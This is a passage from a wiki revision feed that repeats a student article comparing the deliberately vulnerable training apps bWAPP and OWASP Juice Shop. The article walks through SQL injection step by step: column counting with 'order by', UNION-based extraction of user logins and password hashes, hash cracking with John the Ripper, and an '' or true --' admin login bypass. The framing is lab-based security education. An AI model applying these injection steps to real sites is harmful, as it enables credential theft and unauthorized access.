&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5487</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5487"/>
		<updated>2020-12-21T17:53:49Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Vulnerable Webservices */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack. &lt;br /&gt;
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Webservices ==&lt;br /&gt;
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it&#039;s like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention&amp;lt;/br&amp;gt;&lt;br /&gt;
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:&lt;br /&gt;
*buggy web application (bWAPP)[[bWAPP]]&lt;br /&gt;
*damn vulnerable web application (DVWA)[[DVWA]]&lt;br /&gt;
*OWASP Juice Shop[[OWASP_Juice_Shop]]&lt;br /&gt;
&lt;br /&gt;
=== bWAPP ===&lt;br /&gt;
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.&lt;br /&gt;
&lt;br /&gt;
=== OWASP Juice Shop ===&lt;br /&gt;
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called &#039;online juice shop&#039; for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.&lt;br /&gt;
&lt;br /&gt;
==Comparison and architecture of bWAPP and OWASP Juice Shop==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;OWASP Juice Shop&#039;&#039;&#039; is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google&#039;s material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.&lt;br /&gt;
&lt;br /&gt;
[[File:ArchitekturOWASP.PNG|700px]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;bWAPP&#039;&#039;&#039; is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP &lt;br /&gt;
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine. &lt;br /&gt;
&lt;br /&gt;
To download virtualbox, use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]&lt;br /&gt;
&lt;br /&gt;
On the following page there is a step-by-step instructions for installing virtualbox: &lt;br /&gt;
&lt;br /&gt;
[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]&lt;br /&gt;
&lt;br /&gt;
To install beebox you can use the following link:&lt;br /&gt;
&lt;br /&gt;
[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:VirtualBox.PNG|400px]]&lt;br /&gt;
[[File:BWAPP1Start.PNG|400px]]&lt;br /&gt;
&lt;br /&gt;
== Practical demonstration Step-by-Step guideline==&lt;br /&gt;
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.&lt;br /&gt;
&lt;br /&gt;
== bWAPP Challenge ==&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Select a challenge&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.&lt;br /&gt;
&lt;br /&gt;
[[File:bWAPPs.PNG|500px]]&lt;br /&gt;
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various &#039;bugs&#039;. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.&lt;br /&gt;
&lt;br /&gt;
[[File:1nebenan.png|500px]]&lt;br /&gt;
[[File:2nebenan.png|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Try out some SQL-Statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
If you enter a search term such as &#039;iron&#039;, for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word &#039;iron&#039; and the search field gives the result &#039;iron man&#039;. In this case there is a high probability that this query contains some columns. The select-command is something like &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE &#039;%&amp;quot;. $userinput.&amp;quot;%&#039;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[File:Bild1EingabeIron.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
If the form is vulnerable, introducing a single &#039;&#039;&#039; 1 &#039;&#039;&#039; should throw a SQL error because &amp;quot;Select column1, column2, column3, column4 from table where movie LIKE  &amp;quot;&#039;&amp;quot; is not a valid query. As a result, you can see that the URL parameter &#039;&#039;&#039;1&#039;&#039;&#039;&#039; is definitely vulnerable to an SQL injection:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild2SQLSyntaxFehler.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by &#039;&#039;&#039;1 -- -&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild3URLTeilDelete.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild4neueURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The output shows that the URL parameters are definitely vulnerable to SQL injections.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild5ErgebnisURL1.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 3: Trying to find out the number of columns&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
To find the answer we can use an &#039;ORDER BY&#039; clause inside our query : &#039; order by 6 -- -&lt;br /&gt;
The query sent to the database will look like : &amp;quot;Select column1, column2, column3, column4, column5, column6, from table where movie LIKE &#039;%&#039; order by 6 -- -%&#039; . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown. &lt;br /&gt;
&lt;br /&gt;
We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild6URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild7.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Bild8URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result shows that column 5 corresponds to one character.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild9ErgebnisURL.PNG|500px]]	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 4: Get the password&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:&lt;br /&gt;
&lt;br /&gt;
[[File:Bild10URL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
The result ejects the character bWAPP. Now it is only a few steps to the hashed password.&lt;br /&gt;
&lt;br /&gt;
[[File:Bild11ErgebnisURL.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the following step the contents of the columns-output is &#039;User&#039;. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild20URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild21Ergebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp. &lt;br /&gt;
&lt;br /&gt;
[[File:Bild22URL.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
[[File:Bild23PWErgebnis.PNG|1000px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 5: Cracking the hashed password with John the Ripper&amp;lt;/br&amp;gt;===&lt;br /&gt;
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password&#039;s output in clear text.&lt;br /&gt;
&lt;br /&gt;
[[File:Challenge1.9bWAPP.png|700px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;/br&amp;gt;&lt;br /&gt;
== OWASP Juice Shop Challenge ==&lt;br /&gt;
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File:JuiceShopPlattform.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 1: Try to login as Admin with simple SQL-statements&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
The following command is used to attempt to log in as Admin: &#039;&#039;&#039; &#039;or true - -&#039;&#039;&#039;. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. &#039;&#039;&#039;True&#039;&#039;&#039; as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.&lt;br /&gt;
&lt;br /&gt;
[[File: juice4.PNG|250px]]&lt;br /&gt;
&lt;br /&gt;
Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.&lt;br /&gt;
&lt;br /&gt;
[[File: juice3.PNG|500px]]&lt;br /&gt;
&lt;br /&gt;
===&amp;lt;br&amp;gt;STEP 2: Change user data&amp;lt;/br&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.&lt;br /&gt;
&lt;br /&gt;
[[File:UserDaten.PNG|300px]]&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
&lt;br /&gt;
Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today&#039;s abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.&lt;br /&gt;
Further information on this article can be found in my paper: [[seminar paper]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
[https://www.owasp.org Open Web Application Security Project (OWASP)]&lt;br /&gt;
&lt;br /&gt;
[https://www.mmebvba.com/sites/default MME Security Audits &amp;amp; Training]&lt;br /&gt;
&lt;br /&gt;
[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]&lt;br /&gt;
&lt;br /&gt;
[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>CEberhart</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5486</id>
		<title>Unsecure Webservices: bWAPP vs. JuiceShop</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Unsecure_Webservices:_bWAPP_vs._JuiceShop&amp;diff=5486"/>
		<updated>2020-12-21T17:49:25Z</updated>

		<summary type="html">&lt;p&gt;CEberhart: /* Vulnerable Webservices */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:JuicebWAPP.png|1000px]]&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers&#039; efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.&lt;br /&gt;
*The application can be accessed 24/7 via the Internet&lt;br /&gt;
*Have sensitive data and often have direct access to backend data&lt;br /&gt;
*Conventional firewalls do not have adequate protection&lt;br /&gt;
*The applications are tailored and therefore very fragile&lt;br /&gt;
&lt;br /&gt;
Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world&#039;s most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.&amp;lt;/br&amp;gt;&lt;br /&gt;
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:&lt;br /&gt;
*Injection&lt;br /&gt;
*Broken Authentication &amp;amp; Session Management&lt;br /&gt;
*Sensitive Data Exposure&lt;br /&gt;
*XML External Entities (XXE)&lt;br /&gt;
*Broken Access Control&lt;br /&gt;
*Security Misconfiguration&lt;br /&gt;
*Cross Site Scripting (XSS)&lt;br /&gt;
*Insecure Deserialization&lt;br /&gt;
*Using Components with Known Vulnerabilities&lt;br /&gt;
*Insufficient Logging &amp;amp; Monitoring&lt;br /&gt;
&lt;br /&gt;
Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
== Penetrating Testing ==&lt;br /&gt;
&lt;br /&gt;
Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.&lt;br /&gt;
&lt;br /&gt;
== SQL Injection Vulnerability ==&lt;br /&gt;
&lt;br /&gt;
With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.&lt;br /&gt;
&lt;br /&gt;
